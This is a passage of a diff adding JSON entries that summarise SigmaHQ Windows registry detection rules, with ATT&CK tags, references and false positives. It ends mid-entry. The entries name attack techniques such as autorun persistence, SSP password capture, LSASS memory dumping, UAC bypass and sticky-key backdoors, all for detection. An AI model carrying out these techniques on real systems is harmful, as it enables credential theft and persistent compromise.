"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_azorult.yml" + ], + "tags": [ + "attack.execution", + "attack.t1112" + ], + "creation_date": "2020/05/08", + "filename": "registry_event_mal_azorult.yml", + "author": "Trent Liffick", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects FlowCloud malware from threat group TA410.", + "uuid": "5118765f-6657-4ddb-a487-d7bd673abbf1", + "value": "FlowCloud Malware", + "meta": { + "refs": [ + "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_flowcloud.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1112" + ], + "creation_date": "2020/06/09", + "filename": "registry_event_mal_flowcloud.yml", + "author": "NVISO", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527", + "uuid": "ba6b9e43-1d45-4d3c-a504-1043a64c8469", + "value": "PrinterNightmare Mimimkatz Driver Name", + "meta": { + "refs": [ + "https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760", + "https://www.lexjansen.com/sesug/1993/SESUG93035.pdf", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204", + "cve.2021.1675", + "cve.2021.34527" + ], + "creation_date": "2021/07/04", + "filename": "registry_event_mimikatz_printernightmare.yml", + "author": "Markus Neis, @markus_neis, Florian Roth", + "level": "critical", + "falsepositive": [ + "Legitimate installation of printer driver QMS 810, Texas Instruments microLaser printer (unlikely)" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects value modification of registry key containing path to binary used as screensaver.", + "uuid": "67a6c006-3fbe-46a7-9074-2ba3b82c3000", + "value": "Path To Screensaver Binary Modified", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_modify_screensaver_binary_path.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.002" + ], + "creation_date": "2020/10/11", + "filename": "registry_event_modify_screensaver_binary_path.yml", + "author": "Bartlomiej Czyz @bczyz1, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate modification of screensaver" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects abusing Windows 10 Narrator's Feedback-Hub", + "uuid": "f663a6d9-9d1b-49b8-b2b1-0637914d199a", + "value": "Narrator's Feedback-Hub Persistence", + "meta": { + "refs": [ + "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_narrator_feedback_persistance.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_event_narrator_feedback_persistance.yml", + "author": "Dmitriy Lifanov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects NetNTLM downgrade attack", + "uuid": "d67572a0-e2ec-45d6-b8db-c100d14b8ef2", + "value": "NetNTLM Downgrade Attack", + "meta": { + "refs": [ + "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.t1112" + ], + "creation_date": "2018/03/20", + "filename": "registry_event_net_ntlm_downgrade.yml", + "author": "Florian Roth, wagga", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation\nby causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n", + "uuid": "6aa1d992-5925-4e9f-a49b-845e51d1de01", + "value": "New DLL Added to AppCertDlls Registry Key", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", + "https://eqllib.readthedocs.io/en/latest/analytics/14f90406-10a0-4d36-a672-31cabe149f2f.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appcertdlls_registry_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.009" + ], + "creation_date": "2019/10/25", + "filename": "registry_event_new_dll_added_to_appcertdlls_registry_key.yml", + "author": "Ilyas Ochkov, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll", + "uuid": "4f84b697-c9ed-4420-8ab5-e09af5b2345d", + "value": "New DLL Added to AppInit_DLLs Registry Key", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/822dc4c5-b355-4df8-bd37-29c458997b8f.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appinit_dlls_registry_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.010" + ], + "creation_date": "2019/10/25", + "filename": "registry_event_new_dll_added_to_appinit_dlls_registry_key.yml", + "author": "Ilyas Ochkov, oscd.community, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started", + "uuid": "3d27f6dd-1c74-4687-b4fa-ca849d128d1c", + "value": "Office Application Startup - Office Test", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1137/002/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_test_regadd.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137.002" + ], + "creation_date": "2020/10/25", + "filename": "registry_event_office_test_regadd.yml", + "author": "omkar72", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects persistence registry keys for Recycle Bin", + "uuid": "277efb8f-60be-4f10-b4d3-037802f37167", + "value": "Registry Persistence Mechanisms in Recycle Bin", + "meta": { + "refs": [ + "https://github.com/vxunderground/VXUG-Papers/blob/751edb8d50f95bd7baa730adf2c6c3bb1b034276/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_persistence_recycle_bin.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547" + ], + "creation_date": "2021/11/18", + "filename": "registry_event_persistence_recycle_bin.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the modification of PortProxy registry key which is used for port forwarding. For command execution see rule win_netsh_port_fwd.yml.", + "uuid": "a54f842a-3713-4b45-8c84-5f136fdebd3c", + "value": "PortProxy Registry Key", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://adepts.of0x.cc/netsh-portproxy-code/", + "https://www.dfirnotes.net/portproxy_detection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_portproxy_registry_key.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2021/06/22", + "filename": "registry_event_portproxy_registry_key.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "medium", + "falsepositive": [ + "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)", + "Synergy Software KVM (https://symless.com/synergy)" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects actions caused by the RedMimicry Winnti playbook", + "uuid": "5b175490-b652-4b02-b1de-5b5b4083c5f8", + "value": "RedMimicry Winnti Playbook Registry Manipulation", + "meta": { + "refs": [ + "https://redmimicry.com", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_redmimicry_winnti_reg.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/06/24", + "filename": "registry_event_redmimicry_winnti_reg.yml", + "author": "Alexander Rausch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential malicious modification of run keys by winekey or team9 backdoor", + "uuid": "b98968aa-dbc0-4a9c-ac35-108363cbf8d5", + "value": "WINEKEY Registry Modification", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runkey_winekey.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547" + ], + "creation_date": "2020/10/30", + "filename": "registry_event_runkey_winekey.yml", + "author": "omkar72", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup", + "uuid": "c74d7efc-8826-45d9-b8bb-f04fac9e4eff", + "value": "Run Once Task Configuration in Registry", + "meta": { + "refs": [ + "https://twitter.com/pabraeken/status/990717080805789697", + "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/11/15", + "filename": "registry_event_runonce_persistence.yml", + "author": "Avneet Singh @v3t0_, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate modification of the registry key by legitimate program" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)", + "uuid": "152f3630-77c1-4284-bcc0-4cc68ab2f6e7", + "value": "Shell Open Registry Keys Manipulation", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/", + "https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass", + "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_shell_open_keys_manipulation.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "attack.t1546.001" + ], + "creation_date": "2021/08/30", + "filename": "registry_event_shell_open_keys_manipulation.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process", + "uuid": "55e29995-75e7-451a-bef0-6225e2f13597", + "value": "SilentProcessExit Monitor Registration for LSASS", + "meta": { + "refs": [ + "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.007" + ], + "creation_date": "2021/02/26", + "filename": "registry_event_silentprocessexit_lsass.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.", + "uuid": "eeb30123-9fbd-4ee8-aaa0-2e545bbed6dc", + "value": "Security Support Provider (SSP) Added to LSA Configuration", + "meta": { + "refs": [ + "https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_ssp_added_lsa_config.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.005" + ], + "creation_date": "2019/01/18", + "filename": "registry_event_ssp_added_lsa_config.yml", + "author": "iwillkeepwatch", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", + "uuid": "baca5663-583c-45f9-b5dc-ea96a22ce542", + "value": "Sticky Key Like Backdoor Usage", + "meta": { + "refs": [ + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_stickykey_like_backdoor.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.008", + "car.2014-11-003", + "car.2014-11-008" + ], + "creation_date": "2018/03/15", + "filename": "registry_event_stickykey_like_backdoor.yml", + "author": "Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'", + "uuid": "9577edbb-851f-4243-8c91-1d5b50c1a39b", + "value": "Atbroker Registry Change", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", + "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.persistence", + "attack.t1547" + ], + "creation_date": "2020/10/13", + "filename": "registry_event_susp_atbroker_change.yml", + "author": "Mateusz Wydra, oscd.community", + "level": "medium", + "falsepositive": [ + "Creation of non-default, legitimate at usage" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories", + "uuid": "9c5037d1-c568-49b3-88c7-9846a5bdc2be", + "value": "Suspicious Run Key from Download", + "meta": { + "refs": [ + "https://app.any.run/tasks/c5bef5b7-f484-4c43-9cf3-d5c5c7839def/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_download_run_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/01", + "filename": "registry_event_susp_download_run_key.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Software installers downloaded and used by users" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a method to load DLL via LSASS process using an undocumented Registry key", + "uuid": "b3503044-60ce-4bf4-bbcb-e3db98788823", + "value": "DLL Load via LSASS", + "meta": { + "refs": [ + "https://blog.xpnsec.com/exploring-mimikatz-part-1/", + "https://twitter.com/SBousseaden/status/1183745981189427200", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_lsass_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1547.008" + ], + "creation_date": "2019/10/16", + "filename": "registry_event_susp_lsass_dll_load.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects Processes accessing the camera and microphone from suspicious folder", + "uuid": "62120148-6b7a-42be-8b91-271c04e281a3", + "value": "Suspicious Camera and Microphone Access", + "meta": { + "refs": [ + "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_mic_cam_access.yml" + ], + "tags": [ + "attack.collection", + "attack.t1125", + "attack.t1123" + ], + "creation_date": "2020/06/07", + "filename": "registry_event_susp_mic_cam_access.yml", + "author": "Den Iuzvyk", + "level": "high", + "falsepositive": [ + "Unlikely, there could be conferencing software running from a Temp folder accessing the devices" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Alerts on trust record modification within the registry, indicating usage of macros", + "uuid": "295a59c1-7b79-4b47-a930-df12c15fc9c2", + "value": "Windows Registry Trust Record Modification", + "meta": { + "refs": [ + "https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/", + "http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_trust_record_modification.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2020/02/19", + "filename": "registry_event_trust_record_modification.yml", + "author": "Antonlovesdnb", + "level": "medium", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "registry_event", + "logsource.product": "windows" + } + }, + { + "description": "Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections.\nThis binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run.\nThe problem is, it will run any arbitrary command without restriction of location or type.\n", + "uuid": "4e8d5fd3-c959-441f-a941-f73d0cdcdca5", + "value": "Abusing Windows Telemetry For Persistence", + "meta": { + "refs": [ + "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_abusing_windows_telemetry_for_persistence.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1112", + "attack.t1053" + ], + "creation_date": "2020/09/29", + "filename": "registry_set_abusing_windows_telemetry_for_persistence.yml", + "author": "Sreeman", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect modification for a specific user to prevent that user from being listed on the logon screen", + "uuid": "8a58209c-7ae6-4027-afb0-307a78e4589a", + "value": "User Account Hidden By Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_hidden_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.002" + ], + "creation_date": "2022/08/20", + "filename": "registry_set_add_hidden_user.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the modification of the registry to allow a driver or service to persist in Safe Mode.", + "uuid": "1547e27c-3974-43e2-a7d7-7f484fb928ec", + "value": "Registry Persitence via Service in Safe Mode", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-33---windows-add-registry-value-to-load-service-in-safe-mode-without-network", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-34---windows-add-registry-value-to-load-service-in-safe-mode-with-network", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2022/04/04", + "filename": "registry_set_add_load_service_in_safe_mode.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.\nA port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.\n", + "uuid": "944e8941-f6f6-4ee8-ac05-1c224e923c0e", + "value": "Add Port Monitor Persistence in Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.010/T1547.010.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_port_monitor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.010" + ], + "creation_date": "2021/12/30", + "filename": "registry_set_add_port_monitor.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker adds a new \"Debugger\" value to the \"AeDebug\" key in order to achieve persistence which will get invoked when an application crashes", + "uuid": "092af964-4233-4373-b4ba-d86ea2890288", + "value": "Add Debugger Entry To AeDebug For Persistence", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/aedebug.html", + "https://docs.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_aedebug_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_aedebug_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect enable rdp feature to allow specific user to rdp connect on the targeted machine", + "uuid": "37b437cf-3fc5-4c8e-9c94-1d7c9aff842b", + "value": "Allow RDP Remote Assistance Feature", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/08/19", + "filename": "registry_set_allow_rdp_remote_assistance_feature.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitmate use of the feature (alerts should be investigated either way)" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "9df5f547-c86a-433e-b533-f2794357e242", + "value": "Classes Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_classes.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_classes.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "f59c3faf-50f3-464b-9f4c-1b67ab512d99", + "value": "Common Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://persistence-info.github.io/Data/userinitmprlogonscript.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_common.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_common.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "f674e36a-4b91-431e-8aef-f8a96c2aca35", + "value": "CurrentControlSet Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentcontrolset.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_currentcontrolset.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "20f0ee37-5942-4e45-b7d5-c5b5db9df5cd", + "value": "CurrentVersion Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_currentversion.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "cbf93e5d-ca6c-4722-8bea-e9119007c248", + "value": "CurrentVersion NT Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion_nt.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_currentversion_nt.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "a80f662f-022f-4429-9b8c-b1a41aaa6688", + "value": "Internet Explorer Autorun Keys 